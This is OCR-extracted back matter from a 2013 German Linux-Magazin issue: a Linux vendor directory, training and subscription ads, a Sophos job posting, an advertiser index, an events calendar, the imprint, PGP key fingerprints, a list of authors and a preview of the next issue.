73728 Esslingen, Hindenburgstr. 47 0711-4 90 49 30 www.heubach-edv.de √ √ √ √<br />
IT-Profimarkt listet ausschließlich Unternehmen, die Leistungen rund um <strong>Linux</strong> bieten. Alle Angaben ohne Gewähr. <br />
(S.108)
Seminare/Markt<br />
IT-Onlinetrainings<br />
MEDIALINX<br />
Mit Experten lernen. IT-ACADEMY<br />
IT-Sicherheit Grundlagen<br />
mit Prof. Dr.<br />
Tobias Eggendorfer,<br />
Hochschule<br />
Ravensburg-Weingarten<br />
299 €<br />
DiD you<br />
know?<br />
X25<br />
www.medialinx-academy.de<br />
1-9-Anzeige-IT-Sicherheit-Grundlagen.indd 1<br />
02.08.2013 11:52:51 Uhr<br />
IT-Onlinetrainings<br />
Mit Experten lernen.<br />
MEDIALINX<br />
IT-ACADEMY<br />
Einfache IMAP-Server<br />
mit Dovecot<br />
mit Peer Heinlein,<br />
Heinlein Support GmbH<br />
249 €<br />
www.medialinx-academy.de<br />
IT-Academy_1-9_Dovecot-Schulung.indd 1<br />
02.08.2013 11:53:34 Uhr<br />
IT-Onlinetrainings<br />
Mit Experten lernen.<br />
MEDIALINX<br />
IT-ACADEMY<br />
– die offiziellen Trainings<br />
mit Marco Welter,<br />
Zarafa Deutschland GmbH<br />
Zarafa Administrator<br />
249 €<br />
Zarafa Engineer<br />
249 €<br />
www.medialinx-academy.de<br />
WusstEn siE’s?<br />
<strong>Linux</strong>-<strong>Magazin</strong> und <strong>Linux</strong>User<br />
haben ein englisches<br />
Schwester magazin!<br />
Am besten, Sie informieren gleich<br />
Ihre <strong>Linux</strong>-Freunde in aller Welt...<br />
www.linux-magazine.com<br />
IT-Onlinetrainings<br />
Mit Experten lernen.<br />
MEDIALINX<br />
IT-ACADEMY<br />
Effiziente BASH-Skripte<br />
mit Klaus Knopper,<br />
Gründer der<br />
Knoppix-Distribution,<br />
KNOPPER.NET<br />
199 €<br />
Automatisieren Sie komplexe<br />
Aufgaben mit Hilfe effizienter Skripte!<br />
www.medialinx-academy.de<br />
IT-Academy_1-9_Zarafa-Schulung.indd 1<br />
02.08.2013 11:55:03 Uhr<br />
IT-Academy_1-9_Bash-Schulung.indd 1<br />
02.08.2013 11:53:16 Uhr<br />
LMI_3-9h_german_1609-2013.indd 1<br />
16.09.2013 16:53:45 Uhr
Service<br />
www.linux-magazin.de Markt 11/2013<br />
108<br />
IT-Profimarkt/Markt/Stellen<br />
IT-Profimarkt – Liste sortiert nach Postleitzahl (Fortsetzung von S. 106)<br />
Firma Anschrift Telefon <strong>Web</strong> 1 2 3 4 5 6<br />
Waldmann EDV Systeme + Service<br />
74321 Bietigheim-Bissingen,<br />
Pleidelsheimer Str. 25<br />
07142-2 15 16 www.waldmann-edv.de √ √ √ √ √<br />
in-put Das <strong>Linux</strong>-Systemhaus 76133 Karlsruhe, Moltkestr. 49 0721-6 80 32 88-0 www.in-put.de √ √ √ √ √ √<br />
Bodenseo 78224 Singen, Pomeziastr. 9 07731-1 47 61 20 www.bodenseo.de √ √ √<br />
<strong>Linux</strong> Information Systems AG 81739 München, Putzbrunnerstr. 71 089-99 34 12-0 www.linux-ag.com √ √ √ √ √<br />
<strong>Linux</strong>Land International GmbH 81739 München, Putzbrunnerstr. 71 089-99 34 14 41 www.linuxland.de √ √ √ √ √ √<br />
Synergy Systems GmbH 81829 München, Konrad-Zuse-Platz 8 089-89 08 05 00 www.synergysystems.de √ √ √ √ √<br />
B1 Systems GmbH 85088 Vohburg, Osterfeldstrasse 7 08457-93 10 96 www.b1-systems.de √ √ √ √ √<br />
ATIX AG 85716 Unterschleißheim, Einsteinstr. 10 089-45 23 53 8-0 www.atix.de √ √ √ √ √ √<br />
Tuxedo Computers GmbH 86343 Königsbrunn , Zeppelinstr. 3 0921-16 49 87 87-0 www.linux-onlineshop.de √ √ √ √<br />
OSTC Open Source Training and<br />
Consulting GmbH<br />
90425 Nürnberg,<br />
Waldemar-Klink-Str. 10<br />
0911-3474544 www.ostc.de √ √ √ √ √ √<br />
Dipl.-Ing. Christoph Stockmayer GmbH 90571 Schwaig, Dreihöhenstr. 1 0911-50 52 41 www.stockmayer.de √ √ √<br />
pascom - Netzwerktechnik GmbH & Co.KG 94469 Deggendorf, Berger Str. 42 0991-27 00 60 www.pascom.net √ √ √ √ √<br />
RealStuff Informatik AG CH-3007 Bern, Chutzenstrasse 24 0041-31-3 82 44 44 www.realstuff.ch √ √ √<br />
CATATEC CH-3013 Bern, Dammweg 43 0041-31-3 30 26 30 www.catatec.ch √ √ √<br />
Syscon Systemberatungs AG CH-8003 Zürich, Zweierstrasse 129 0041-44-4 54 20 10 www.syscon.ch √ √ √ √ √<br />
Würth Phoenix GmbH IT-39100 Bozen, Kravoglstraße 4 0039 0471 56 41 11 www.wuerth-phoenix.com √ √ √ √<br />
IT-Profimarkt listet ausschließlich Unternehmen, die Leistungen rund um <strong>Linux</strong> bieten. Alle Angaben ohne Gewähr. <br />
n<br />
3 AusgAben für nur 5,90 E<br />
Jetzt bestellen: 3 Hefte zum Preis von einem. Sie sparen 66 %!<br />
Neu!<br />
Kennenlernangebot:<br />
3 AusgAben<br />
für nur 5,90 E<br />
Jetzt bestellen unter:<br />
www.android–user.de/miniabo<br />
Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de
MAGAZIN<br />
ONLINE<br />
<strong>Linux</strong>-<strong>Magazin</strong> newsLetter<br />
Nachrichten rund um die Themen <strong>Linux</strong> und Open Source lesen Sie täglich<br />
im Newsletter des <strong>Linux</strong>-<strong>Magazin</strong>s.<br />
Newsletter<br />
informativ<br />
kompakt<br />
tagesaktuell<br />
www.linux-magazin.de/newsletter
ADMIN und <strong>Linux</strong>-<strong>Magazin</strong><br />
am Apple Newsstand!<br />
Jetzt NEU!<br />
Alternativ finden Sie alle Titel der Medialinx AG<br />
auch bei: PagePlace, iKiosk, OnlineKiosk und<br />
Leserauskunft Jetzt GRATIS testen!<br />
LM_1-2q_apple-newsstand.indd 1<br />
Digitales aBO<br />
linuxUser: Das Monatsmagazin für die Praxis<br />
28.08.2013 11:21:14 Uhr<br />
DigisUB *<br />
nur 60, 60 €<br />
im Jahr (12 PDFs)<br />
* Digitales Abo, jederzeit kündbar<br />
Jetzt Bestellen Unter:<br />
www.linux-user.de/digisub<br />
Telefon: 07131 /2707 274<br />
Fax: 07131 / 2707 78 601<br />
E-Mail: abo@linux-user.de
Markt/Stellen<br />
Kernel Developer (m/w) Network<br />
Arbeitsort: Karlsruhe<br />
Sie arbeiten innerhalb der Network Security Group<br />
an unserem Unified Threat Management Produkt,<br />
einer x86 <strong>Linux</strong>-basierten Network Appliance.<br />
Ihre Aufgaben:<br />
Integration aktueller <strong>Linux</strong>-Kernel-Versionen<br />
Weiterentwicklung interner Kernel-Anpassungen<br />
Portierung und Integration von Patches<br />
Debugging auf Kernel- und Systemebene<br />
Tatkräftige Unterstützung beim Aufbau und der<br />
Pflege des internen technischen Knowhows<br />
Ihr Profil:<br />
Sehr gute Kenntnisse im Bereich <strong>Linux</strong>-Kernel-Entwicklung<br />
Erfahrung mit Hardware-Treibern, I/O und Prozessoren<br />
(32/64 Bit, SMP)<br />
Kenntnisse im Bereich Netzwerke, TCP/IP und Netfilter<br />
Sehr gute Kenntnisse in der Programmiersprache C und<br />
Shell-Programmierung (bash)<br />
Erfahrung im Umgang mit den Werkzeugen gcc, gdb,<br />
patch/diff, make und git<br />
Selbstständiges Planen, Arbeiten und Reporten,<br />
auch in englischer Sprache<br />
Verständnis des „Open Source“-Gedankens<br />
Sophos – bei uns sind Sie von Anfang an gefragt<br />
Verwirklichen Sie Ihre Ideen in einem globalen, erfolgreichen<br />
Unternehmen. Übernehmen Sie Verantwortung für<br />
unser anspruchsvolles Ziel: Gemeinsam schaffen wir die<br />
Voraussetzung für die Informationstechnologie von morgen.<br />
Wollen Sie mit Sicherheit Karriere machen?<br />
Senden Sie uns Ihre vollständigen Unterlagen per Mail<br />
mit Angabe Ihrer Gehaltsvorstellung und der Kennziffer<br />
LM13KAR621 an: careers@sophos.de<br />
Haben Sie noch Fragen?<br />
Sabrina Benz, HR Business Partner, +49 721 25516 0<br />
Sophos Technology GmbH<br />
Amalienbadstr. 41/Bau 52, 76227 Karlsruhe<br />
www.sophos.com
Service<br />
www.linux-magazin.de Inserenten 11/2013<br />
112<br />
Inserentenverzeichnis<br />
1&1 Internet AG http://www.einsundeins.de 11<br />
ADMIN http://www.admin-magazin.de 83, 87<br />
Android User GY http://www.android-user.de 108<br />
B1 Systems GmbH http://www.b1-systems.de 115<br />
CANDAN THE WEB COMPANY http://www.canhost.de 65<br />
Deutsche Python Konferenz - PyCon http://de.pycon.org/ 69<br />
embedded projects GmbH http://www.embedded-projects.net 111<br />
Fernschule <strong>Web</strong>er GmbH http://www.fernschule-weber.de 107<br />
Heinlein Support GmbH http://www.heinlein-support.de 43, 57<br />
Host Europe GmbH http://www.hosteurope.de 2<br />
Ico Innovative Computer GmbH http://www.ico.de 41<br />
<strong>Linux</strong> <strong>Magazin</strong>e http://www.linux-magazine.com 107<br />
<strong>Linux</strong>-Hotel http://www.linuxhotel.de 17<br />
<strong>Linux</strong>-<strong>Magazin</strong> http://www.linux-magazin.de 27, 110<br />
<strong>Linux</strong>-<strong>Magazin</strong> Online http://www.linux-magazin.de 109<br />
<strong>Linux</strong>User http://www.linuxuser.de 71, 110<br />
MailStore Software GmbH http://www.mailstore.com 15<br />
Medialinx IT-Academy http://www.medialinx-academy.de 19,<br />
103, 107<br />
Netways GmbH http://www.netways.de 85<br />
Nine Internet Solutions AG http://www.nine.ch 109<br />
Open Source Press GmbH http://www.opensourcepress.de 25<br />
OpenRheinRuhr http://www.openrheinruhr.de 31<br />
PlusServer AG http://www.plusserver.de 44, 47, 61, 63,<br />
93, 104<br />
Raspberry Pi Geek http://www.raspberry-pi-geek.de 33<br />
Sophos http://http:www.sophos.com 111<br />
Spenneberg Training & Consulting http://www.spenneberg.com 107<br />
Thomas Krenn AG http://www.thomas-krenn.com 116<br />
Uni Hamburg http://www.uni-hamburg.de 111<br />
<strong>Web</strong>tropia http://www.webtropia.com 23, 37<br />
Einem Teil dieser Ausgabe liegt eine Beilage der Firma 1&1 Internet AG (http://www.<br />
einsundeins.de) bei. Wir bitten unsere Leser um freundliche Beachtung.<br />
Veranstaltungen<br />
08.-10.10.2013<br />
Data Modeling Zone America<br />
Baltimore, MD<br />
http://www.datamodelingzone.com<br />
21.-23.10.2013<br />
<strong>Linux</strong>Con Europe 2013<br />
Edinburgh, UK<br />
http://events.linuxfoundation.org/events/linuxconeurope<br />
08.-10.11.2013<br />
FSCONS 2013<br />
Göteborg, Sweden<br />
https://fscons.org/2013/<br />
11.-13.10.2013<br />
Ubucon 2013<br />
69115 Heidelberg, Deutschland<br />
http://www.ubucon.de<br />
14.-19.10.2013<br />
PyCon.DE 2013<br />
Köln, Deutschland<br />
https://2013.de.pycon.org<br />
16.-18.10.2013<br />
Medientage München<br />
München, Deutschland<br />
http://www.medientage.de<br />
18.-20.10.2013<br />
Proyecto H<br />
Cuernavaca, México<br />
http://www.hackingmexico.mx/proyectoh/<br />
21.-23.10.2013<br />
CloudOpen Europe 2013<br />
Edinburgh, UK<br />
http://events.linuxfoundation.org/events/cloudopeneurope<br />
22.-23.10.2013<br />
Apps World<br />
London, UK<br />
http://www.apps-world.net/europe<br />
24.-25.10.2013<br />
Embedded <strong>Linux</strong> Conference Europe 2013<br />
Edinburgh, UK<br />
http://events.linuxfoundation.org/events/embeddedlinux-conference-europe<br />
28.-30.10.2013<br />
JAXConf London 2013 with Big Data Con<br />
London, UK<br />
http://jaxlondon.com<br />
02.-03.11.2013<br />
Blendiberia 2013<br />
Málaga, Spain<br />
http://3dschool.ihman.com/informacionblendiberia-2013/<br />
03.-08.11.2013<br />
USENIX LISA ’13<br />
Washington, D.C.<br />
https://www.usenix.org/conference/lisa13<br />
08.11.2013<br />
Deutsche PostgreSQL Konferenz 2013<br />
Oberhausen, Deutschland<br />
http://2013.pgconf.de<br />
09.-10.11.2013<br />
OpenRheinRuhr<br />
Oberhausen, Deutschland<br />
http://openrheinruhr.de<br />
15.-16.11.2013<br />
7. <strong>Linux</strong>-Informationstage Oldenburg<br />
Oldenburg, Deutschland<br />
http://lit-ol.de<br />
17.-22.11.2013<br />
SC13<br />
Denver, CO, USA<br />
http://sc13.supercomputing.org<br />
22.-24.11.2013<br />
PyconES 2013<br />
Madrid, Spain<br />
http://2013.es.pycon.org<br />
23.11.2013<br />
14. Vorarlberger <strong>Linux</strong>Day<br />
Dornbirn, Österreich<br />
http://www.linuxday.at
Impressum<br />
<strong>Linux</strong>-<strong>Magazin</strong> eine Publikation der <strong>Linux</strong> New Media, einem<br />
Geschäftsbereich der Medialinx AG<br />
Redaktionsanschrift Putzbrunner Str. 71<br />
81739 München<br />
Tel.: 089/993411-0<br />
Fax: 089/993411-99 oder -96<br />
Internet<br />
www.linux-magazin.de<br />
E-Mail<br />
redaktion@linux-magazin.de<br />
Geschäftsleitung<br />
Chefredakteur<br />
stv. Chefredakteure<br />
Redaktionsltg. Online<br />
Brian Osborn (Vorstand), bosborn@medialinx-gruppe.de<br />
Hermann Plank (Vorstand), hplank@medialinx-gruppe.de<br />
Jan Kleinert (V.i.S.d.P.), jkleinert@linux-magazin.de (jk)<br />
Markus Feilner, mfeilner@linux-magazin.de (mfe)<br />
Mathias Huber, mhuber@linux-magazin.de (mhu)<br />
Mathias Huber, mhuber@linux-magazin.de (mhu)<br />
Print- und Onlineredaktion<br />
Aktuell, Forum, Software, Kristian Kissling, kkissling@linux-magazin.de (kki)<br />
Programmierung Mathias Huber, mhuber@linux-magazin.de (mhu)<br />
Sysadmin, Know-how Markus Feilner, mfeilner@linux-magazin.de (mfe)<br />
Ständige Mitarbeiter Fred Andresen, Zack Brown, Mela Eckenfels, Heike Jurzik (hej),<br />
Charly Kühnast, Martin Loschwitz, Michael Schilli, Tim<br />
Schürmann, Mark Vogelsberger, Uwe Vollbracht, Arnold<br />
Zimprich (azi)<br />
Schlussredaktion<br />
Grafik<br />
Bildnachweis<br />
DELUG-DVD<br />
Chefredaktionen<br />
International<br />
Produktion<br />
Onlineshop<br />
Abo-Infoseite<br />
Abonnenten-Service<br />
ISSN 1432 – 640 X<br />
Jürgen Manthey<br />
Mike Gajer, Judith Erb (Art Director)<br />
xhoch4, München (Titel-Illustration)<br />
123RF.com, Fotolia.de, Photocase.com, Pixelio.de und andere<br />
Thomas Leichtenstern, tleichtenstern@linux-magazin.de (tle)<br />
<strong>Linux</strong> <strong>Magazin</strong>e International<br />
Joe Casad (jcasad@linux-magazine.com)<br />
<strong>Linux</strong> <strong>Magazin</strong>e Poland<br />
Artur Skura (askura@linux-magazine.pl)<br />
<strong>Linux</strong> <strong>Magazin</strong>e Spain<br />
Paul C. Brown (pbrown@linux-magazine.es)<br />
<strong>Linux</strong> <strong>Magazin</strong>e Brasil<br />
Rafael Peregrino (rperegrino@linuxmagazine.com.br)<br />
Christian Ullrich, cullrich@linux-magazin.de<br />
www.medialinx-shop.de<br />
www.linux-magazin.de/Produkte<br />
A.B.O. Verlagservice GmbH<br />
Gudrun Blanz (Teamleitung)<br />
abo@medialinx-gruppe.de<br />
Tel.: +49-(0)7131-2707-274<br />
Fax: +49-(0)7131-2707-78-601<br />
Preise Print Deutschland Österreich Schweiz Ausland EU<br />
No-Media-Ausgabe 4 6,40 4 7,05 Sfr 12,80 (siehe Titel)<br />
DELUG-DVD-Ausgabe 4 8,50 4 9,35 Sfr 17,— (siehe Titel)<br />
Jahres-DVD (Einzelpreis) 4 14,95 4 14,95 Sfr 18,90 4 14,95<br />
Jahres-DVD (zum Abo 1 ) 4 6,70 4 6,70 Sfr 8,50 4 6,70<br />
Mini-Abo (3 Ausgaben) 4 3,— 4 3,— Sfr 4,50 4 3,—<br />
Jahresabo No Media 4 65,20 4 71,90 Sfr 107,50 4 84,60<br />
Jahresabo DELUG-DVD 4 87,90 4 96,90 Sfr 142,80 4 99,90<br />
Preise Digital Deutschland Österreich Schweiz Ausland EU<br />
Heft-PDF Einzelausgabe 4 6,40 4 6,40 Sfr 8,30 4 6,40<br />
DigiSub (12 Ausgaben) 4 65,20 4 65,20 Sfr 84,80 4 65,20<br />
DigiSub (zum Printabo) 4 12,— 4 12,— Sfr 12,— 4 12,—<br />
HTML-Archiv (zum Abo 1 ) 4 12,— 4 12,— Sfr 12,— 4 12,—<br />
Preise Kombiabos Deutschland Österreich Schweiz Ausland EU<br />
Mega-Kombi-Abo 2 4 143,40 4 163,90 Sfr 199,90 4 173,90<br />
Profi-Abo 3 4 136,60 4 151,70 Sfr 168,90 4 165,70<br />
1<br />
nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital<br />
2<br />
mit <strong>Linux</strong>User-Abo (DVD) und beiden Jahres-DVDs, inkl. DELUG-Mitgliedschaft (monatl.<br />
DELUG-DVD)<br />
3<br />
mit ADMIN-Abo und beiden Jahres-DVDs<br />
Schüler- und Studentenermäßigung: 20 Prozent gegen Vorlage eines Schülerausweises<br />
oder einer aktuellen Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei<br />
Verlän gerung neu zu erbringen. Andere Abo-Formen, Ermäßigungen im Ausland etc.<br />
auf Anfrage.<br />
Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht<br />
für Zeitschriften gelten.<br />
Pressemitteilungen<br />
Marketing und Vertrieb<br />
Mediaberatung D, A, CH<br />
presse-info@linux-magazin.de<br />
Petra Jaser, pjaser@linux-magazin.de<br />
Tel.: +49 (0)89 / 99 34 11 – 24<br />
Fax: +49 (0)89 / 99 34 11 – 99<br />
Michael Seiter, mseiter@linux-magazin.de<br />
Tel.: +49 (0)89 / 99 34 11 – 23<br />
Mediaberatung USA Ann Jesse, ajesse@linux-magazine.com<br />
und weitere Länder Tel.: +1 785 841 8834<br />
Darrah Buren, dburen@linux-magazine.com<br />
Tel.:+1 785 856 3082<br />
Pressevertrieb<br />
Druck<br />
Es gilt die Anzeigen-Preisliste vom 01.01.2013.<br />
MZV Moderner Zeitschriften Vertrieb GmbH & Co. KG<br />
Ohmstraße 1, 85716 Unterschleißheim<br />
Tel.: 089/31906-0, Fax: 089/31906-113<br />
Vogel Druck GmbH, 97204 Höchberg<br />
Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unixähnlichen<br />
Betriebssysteme verschiedener Hersteller benutzt. <strong>Linux</strong> ist eingetragenes<br />
Marken zeichen von Linus Torvalds und wird in unserem Markennamen mit seiner<br />
Erlaubnis verwendet.<br />
Eine Haftung für die Richtigkeit von Veröffentlichungen kann trotz sorgfältiger Prüfung<br />
durch die Redaktion vom Verlag nicht übernommen werden. Mit der Einsendung von<br />
Manus kripten gibt der Verfasser seine Zustimmung zum Abdruck. Für unverlangt<br />
eingesandte Manuskripte kann keine Haftung übernommen werden.<br />
Das Exklusiv- und Verfügungsrecht für angenommene Manuskripte liegt beim Verlag. Es<br />
darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in<br />
irgendeiner Form vervielfältigt oder verbreitet werden.<br />
Copyright © 1994 – 2013 Medialinx AG<br />
Impressum 11/2013<br />
Service<br />
www.linux-magazin.de<br />
113<br />
Krypto-Info<br />
GnuPG-Schlüssel der <strong>Linux</strong>-<strong>Magazin</strong>-Redaktion:<br />
pub 1024D/44F0F2B3 2000-05-08 Redaktion <strong>Linux</strong>-<strong>Magazin</strong><br />
<br />
Key fingerprint = C60B 1C94 316B 7F38 E8CC E1C1 8EA6 1F22 44F0 F2B3<br />
Public-Key der DFN-PCA:<br />
pub 2048R/7282B245 2007-12-12,<br />
DFN-PGP-PCA, CERTIFICATION ONLY KEY (DFN-PGP-Policy: 2008-2009)<br />
<br />
Key fingerprint = 39 D9 D7 7F 98 A8 F1 1B 26 6B D8 F2 EE 8F BB 5A<br />
PGP-Zertifikat der DFN-User-CA:<br />
pub 2048R/6362BE8B (2007-12-12),<br />
DFN-PGP-User-CA, CERTIFICATION ONLY KEY (DFN-PGP-Policy: 2008-2009)<br />
<br />
Key fingerprint = 30 96 47 77 58 48 22 C5 89 2A 85 19 9A D1 D4 06<br />
Root-Zertifikat der CAcert:<br />
Subject: O=Root CA, OU=http://www.cacert.org, CN=CA Cert Signing Authority/<br />
Email=support@cacert.org<br />
SHA1 Fingerprint=13:5C:EC:36:F4:9C:B8:E9:3B:1A:B2:70:CD:80:88:46:76:CE:8F:33<br />
MD5 Fingerprint=A6:1B:37:5E:39:0D:9C:36:54:EE:BD:20:31:46:1F:6B<br />
GPG-Schlüssel der CAcert:<br />
pub 1024D/65D0FD58 2003-07-11 [expires: 2033-07-03]<br />
Key fingerprint = A31D 4F81 EF4E BD07 B456 FA04 D2BB 0D01 65D0 FD58<br />
uid CA Cert Signing Authority (Root CA) <br />
Autoren dieser Ausgabe<br />
Bernhard Bablok Tux liest 82<br />
Zack Brown Zacks Kernel-News 18<br />
Rainer Grimm Tux liest 82<br />
Gijs Hillenius Abgehängt 78<br />
Dr. Harald Jele Alles ausgezeichnet 52<br />
Jan Krutisch Flexible Unterlage 34<br />
Christoph Kuhr Multimedia-Brücke 88<br />
Charly Kühnast Slow Food 67<br />
Martin Loschwitz Auferstanden 84<br />
Nils Magnus Action am Haken 74<br />
Hans-Peter Merkel Flüchtige Spuren 68<br />
Sven Schannak Django Unchained 39<br />
Michael Schilli Catwalk Orange 100<br />
Tim Schürmann Schnelles war keiner 22<br />
Tim Schürmann Einsteigerfreundlich 94<br />
Mark Vogelsberger Schwacher Zufall 92<br />
Uwe Vollbracht Tooltipps 60<br />
Carsten Zerbst Blühender Content-Baum 28
Service<br />
www.linux-magazin.de <strong>Vorschau</strong> 02/2013 12/2013 01/2013 11/2013<br />
114<br />
<strong>Vorschau</strong><br />
12/2013 Dachzeile<br />
Kolab + Sabre = I-Rony<br />
© tiero, 123RF.com<br />
MAGAZIN<br />
Überschrift<br />
Unter dem sinnigen Namen I-Rony versorgt Kolab mit der aktuellen<br />
Betaversion nun auch Clients mit Kontakten und Terminen,<br />
denen Active Sync, Sync ML oder das Kolab-XML-Format<br />
nichts nützt. Betroffen sind Thunderbird, Evolution, Mac-OS-<br />
Ical und andere Clients. Die Kolab-Entwickler haben nämlich<br />
Sabre Dav integriert, einen Caldav- und Carddav-Server.<br />
U-Boot mit Kern-Technik<br />
Raus aus dem Hamsterrad!<br />
Sind IT-Administratoren tatsächlich Nerds, die zu komplexer<br />
sozialer Interaktion kaum fähig sind? Die Erfahrung lehrt: nein!<br />
Doch die meisten IT-Abteilungen sind genau so organisiert, als<br />
ob dort Sonderlinge ihre Spezialgebiete (Storage, Mail, Netzwerk,<br />
Oracle, SAP, …) autistisch beackern. Dass solche historisch<br />
gewachsenen Abteilungsstrukturen „bewährt“ genannt<br />
werden, bedeutet nicht, dass sie effektiv und effizient sind.<br />
Das nächste <strong>Magazin</strong> recherchiert in Theorie und Praxis neue<br />
Organisationsformen, anhand derer Admins wiederkehrende<br />
und einmalige Arbeiten intelligenter aufteilen, um Ressourcen<br />
zu gewinnen, die ihnen wiederum die kreative Weiterentwicklung<br />
ihrer IT ermöglichen.<br />
Wer für den Raspberry Pi entwickelt, hat das alte „SD-Karte<br />
rein“-„SD-Karte raus“-Spiel bald satt. Mit dem Bootloader U-<br />
Boot, einem TFTP-Server, angepasstem Kernel und Userland<br />
sowie etwas Konfiguration bootet das Board vom Netzwerk.<br />
C++11: Performance matters<br />
Dass Geschwindigkeit zählt ist ein ebenso einfaches wie wichtiges<br />
Prinzip von C++. Da trifft es sich gut, dass die neueste<br />
Ausgabe der Programmiersprache Dictionaries anbietet, auf die<br />
Entwickler über einen Schlüssel in konstanter Zeit zugreifen<br />
dürfen. Wie das geht? <strong>Linux</strong>-<strong>Magazin</strong> 12 matters.<br />
Die Ausgabe 12/2013<br />
erscheint am 7. November 2013<br />
© Mart1n, sxc.hu<br />
<strong>Vorschau</strong><br />
auf 11/2013<br />
Die nächste Ausgabe erscheint am 17.10.2013<br />
Virtuelle Maschinen im Griff<br />
Wer Software testet oder eine sichere Umgebung braucht,<br />
kommt um den Einsatz einer virtuellen Maschine kaum<br />
he rum. Aktuelle Hardware bringt in der Regel die notwendige<br />
Power mit, um Ins tanzen sinnvoll zu betreiben.<br />
Allerdings gibt es beim Setup und bei der Auswahl der Host-<br />
Software einiges zu beachten, beispielsweise wenn der Zugriff<br />
auf Shares oder das Durchschleifen von Hardware-Komponenten<br />
reibungslos klappen soll. Damit Sie keine Bauchlandung<br />
erleiden, hilft der kommende Schwerpunkt mit einem Überblick<br />
über aktuelle Techniken.<br />
Uberwriter<br />
Der Autor genießt das Privileg, den Blick aus dem Fenster als<br />
Arbeit verbuchen zu dürfen. Starrt er jedoch ins (PC-)Fenster,<br />
wünscht er möglichst wenig Störendes. Hier hilft Uberwriter,<br />
der ein ablenkungs freies Schreiben von Texten erlaubt.<br />
Buffalo WZR-HP-AG300N<br />
Im Prinzip handelt es sich beim Dualband-WLAN-Router von<br />
Buffalo schon um eine eierlegende Wollmilchsau. Wem die<br />
Unzahl an Funktionen nicht reicht, der nutzt die offene Firmware<br />
DD-WRT als Grundlage für eigene Experimente.